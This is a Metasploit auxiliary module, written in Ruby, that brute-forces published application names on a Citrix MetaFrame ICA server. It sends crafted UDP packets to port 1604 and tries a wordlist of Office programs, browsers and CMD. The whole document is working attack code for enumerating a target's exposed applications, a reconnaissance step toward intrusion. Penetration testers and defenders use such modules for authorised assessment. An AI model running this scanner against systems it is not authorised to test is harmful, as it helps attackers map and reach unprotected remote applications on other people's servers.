Citrix MetaFrame ICA Published Applications Bruteforcer

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer',  
'Description' => %q{  
This module attempts to brute force program names within the Citrix  
Metaframe ICA server.  
},  
'Author' => [ 'aushack' ],  
'References' =>  
[  
[ 'OSVDB', '50617' ],  
[ 'BID', '5817' ]  
]  
))  
  
register_options(  
[  
Opt::RPORT(1604),  
])  
end  
  
def autofilter  
false  
end  
  
def run  
connect_udp  
  
print_status("Attempting to contact Citrix ICA service...")  
  
# Client NetBIOS hostname. This works fine >:)  
client = Rex::Text.rand_text_alphanumeric(8)  
  
# Server hello packet  
client_connect =  
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
# Server hello response  
server_response =  
"\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44"  
  
applications = [  
'TEST',  
'NOTEPAD',  
'ACROBAT READER',  
'ACROBAR',  
'EXPLORER',  
'WORD',  
'WORD2K',  
'WORDXP',  
'WORD2K3',  
'WORD2K7',  
'WORD 2000',  
'WORD XP',  
'WORD 2003',  
'WORD 2007',  
'WORD2000',  
'WORD2003',  
'WORD2007',  
'EXCEL',  
'EXCEL2K',  
'EXCELXP',  
'EXCEL2K3',  
'EXCEL2K7',  
'EXCEL 2000',  
'EXCEL XP',  
'EXCEL 2003',  
'EXCEL 2007',  
'EXCEL2000',  
'EXCEL2003',  
'EXCEL2007',  
'ACCESS',  
'ACCESS2K',  
'ACCESSXP',  
'ACCESS2K3',  
'ACCESS2K7',  
'ACCESS 2000',  
'ACCESS XP',  
'ACCESS 2003',  
'ACCESS 2007',  
'ACCESS2000',  
'ACCESS2003',  
'ACCESS2007',  
'POWERPOINT',  
'POWERPOINT2K',  
'POWERPOINTXP',  
'POWERPOINT2K3',  
'POWERPOINT2K7',  
'POWERPOINT 2000',  
'POWERPOINT XP',  
'POWERPOINT 2003',  
'POWERPOINT 2007',  
'POWERPOINT2000',  
'POWERPOINT2003',  
'POWERPOINT2007',  
'OUTLOOK',  
'OUTLOOKXP',  
'OUTLOOK2K',  
'OUTLOOK2K3',  
'OUTLOOK2K7',  
'OUTLOOK 2000',  
'OUTLOOK XP',  
'OUTLOOK 2003',  
'OUTLOOK 2007',  
'OUTLOOK2000',  
'OUTLOOK2003',  
'OUTLOOK2007',  
'LOTUS',  
'LOTUS NOTES',  
'INTERNETEXPLORER',  
'IE',  
'IEXPLORER',  
'FIREFOX',  
'FIREFOX 3',  
'NETSCAPE',  
'NETSCAPE7',  
'NETSCAPE6',  
'MAIL',  
'EMAIL',  
'E-MAIL',  
'INTERNET',  
'CMD',  
'COMMAND',  
]  
  
# Citrix is publishing this application  
application_valid =  
"\x3e\x00\x02\x35\x02\xfd\xa8\xe3\x02\x00\x06\x44"  
# Application not found / published  
application_invalid =  
"\x20\x00\x01\x3a\x02\xfd\xa8\xe3\x02\x00\x06\x44"  
  
udp_sock.put(client_connect)  
res = udp_sock.get(3)  
  
if (res[0,server_response.length] == server_response)  
print_status("Citrix ICA Server Detected. Attempting to brute force Published Applications.")  
  
applications.each do |application|  
  
# Create the packet  
packet = [52 + application.length].pack('C')  
packet << "\x00\x02\x34\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00"  
packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x00\x02\x00"  
packet << [39 + application.length].pack('C')  
packet << "\x00\x00\x00\x00\x00"  
packet << application  
packet << "\x00\x01\x00\x04\x00"  
packet << client  
packet << "\x00"  
  
udp_sock.put(packet)  
res = udp_sock.get(3)  
  
if (res[0,application_valid.length] == application_valid)  
print_status("Found: #{application}")  
end  
  
if (res[0,application_invalid.length] == application_invalid)  
print_error("NOT Found: #{application}")  
end  
end  
  
else  
print_error("Server did not respond.")  
end  
  
disconnect_udp  
end  
end  
`